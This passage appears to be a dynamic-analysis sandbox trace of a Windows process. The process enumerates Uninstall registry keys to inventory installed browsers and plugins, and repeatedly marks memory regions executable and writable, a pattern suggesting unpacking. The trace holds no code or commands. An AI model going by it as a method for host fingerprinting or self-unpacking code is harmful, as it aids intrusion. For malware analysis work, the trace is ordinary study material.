cbMultiByte=59, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\ngerginugin眨⹣眨엤A") returned 59 [0166.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\ngerginugin眨⹣眨엤A") returned 11 [0166.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\r\ngerginugin眨⹣眨엤A") returned 65 [0166.319] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6a0) returned 0x0 [0166.319] RegQueryValueExW (in: hKey=0x6a0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Google Chrome", lpcbData=0x1e7df794*=0x1c) returned 0x0 [0166.319] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32798, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\r\ngerginugin眨⹣眨엤A") returned 14 [0166.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32814, cbMultiByte=65, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chromerome\r\ngerginugin眨⹣眨엤A") returned 65 [0166.319] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6a4) returned 0x0 [0166.319] RegQueryValueExW (in: hKey=0x6a4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="59.0.3071.115", lpcbData=0x1e7df78c*=0x1c) returned 0x0 [0166.320] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.320] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n", cchWideChar=89, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n", lpUsedDefaultChar=0x0) returned 89 [0166.320] RegEnumKeyA (in: hKey=0x674, dwIndex=0x6, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="IE40") returned 0x0 [0166.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32864, cbMultiByte=89, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n῔") returned 89 [0166.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n῔") returned 11 [0166.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd328cc, cbMultiByte=56, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40)\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n῔") returned 56 [0166.320] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6a8) returned 0x0 [0166.320] RegQueryValueExW (in: hKey=0x6a8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.320] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32924, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\IE40)\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n῔") returned 14 [0166.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32998, cbMultiByte=56, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40IE40)\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n῔") returned 56 [0166.321] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6ac) returned 0x0 [0166.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.324] RegQueryValueExW (in: hKey=0x6ac, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.325] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.326] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n", cchWideChar=93, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n", lpUsedDefaultChar=0x0) returned 93 [0166.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.326] RegEnumKeyA (in: hKey=0x674, dwIndex=0x7, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="IE4Data") returned 0x0 [0166.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd329e0, cbMultiByte=93, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n@䞀") returned 93 [0166.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32a4c, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n@䞀") returned 11 [0166.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32acc, cbMultiByte=59, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n@䞀") returned 59 [0166.327] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6b0) returned 0x0 [0166.327] RegQueryValueExW (in: hKey=0x6b0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.328] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32b14, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n@䞀") returned 14 [0166.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32b30, cbMultiByte=59, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4DataData()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n@䞀") returned 59 [0166.328] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6b4) returned 0x0 [0166.328] RegQueryValueExW (in: hKey=0x6b4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.328] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.328] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n", cchWideChar=97, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 97 [0166.328] RegEnumKeyA (in: hKey=0x674, dwIndex=0x8, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="IE5BAKEX") returned 0x0 [0166.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2830, cbMultiByte=97, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n") returned 97 [0166.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32b88, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n") returned 11 [0166.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32ba0, cbMultiByte=60, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX)\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n") returned 60 [0166.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6b8) returned 0x0 [0166.329] RegQueryValueExW (in: hKey=0x6b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.329] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32bec, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX)\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n") returned 14 [0166.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32c18, cbMultiByte=60, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEXAKEX)\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n") returned 60 [0166.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6bc) returned 0x0 [0166.329] RegQueryValueExW (in: hKey=0x6bc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.330] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.330] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n", cchWideChar=101, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 101 [0166.330] RegEnumKeyA (in: hKey=0x674, dwIndex=0x9, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="IEData") returned 0x0 [0166.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32c64, cbMultiByte=101, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n") returned 101 [0166.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32cd8, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n") returned 11 [0166.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32cf0, cbMultiByte=58, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n") returned 58 [0166.330] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6c0) returned 0x0 [0166.330] RegQueryValueExW (in: hKey=0x6c0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.330] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32d48, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n") returned 14 [0166.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32dbc, cbMultiByte=58, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEDataData\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n") returned 58 [0166.331] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6c4) returned 0x0 [0166.331] RegQueryValueExW (in: hKey=0x6c4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.331] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.331] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=105, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 105 [0166.331] RegEnumKeyA (in: hKey=0x674, dwIndex=0xa, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="MobileOptionPack") returned 0x0 [0166.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf4728, cbMultiByte=105, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n眨⹣眨䍌ḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 105 [0166.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32e04, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n眨⹣眨䍌ḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 11 [0166.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32e90, cbMultiByte=68, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPackoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n眨⹣眨䍌ḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 68 [0166.332] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6c8) returned 0x0 [0166.332] RegQueryValueExW (in: hKey=0x6c8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.332] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.332] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32ee4, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPackoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n眨⹣眨䍌ḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 14 [0166.332] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32e1c, cbMultiByte=68, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPackPackoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n眨⹣眨䍌ḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 68 [0166.332] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6cc) returned 0x0 [0166.333] RegQueryValueExW (in: hKey=0x6cc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.333] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.333] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=109, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 109 [0166.333] RegEnumKeyA (in: hKey=0x674, dwIndex=0xb, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="Mozilla Firefox 25.0 (x86 en-US)") returned 0x0 [0166.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32f64, cbMultiByte=109, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 109 [0166.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 11 [0166.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32fe0, cbMultiByte=84, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḧᱪ@\x01퐀\x1f@ﰀΐṽΐ䞀") returned 84 [0166.333] RegOpenKeyExW (in: 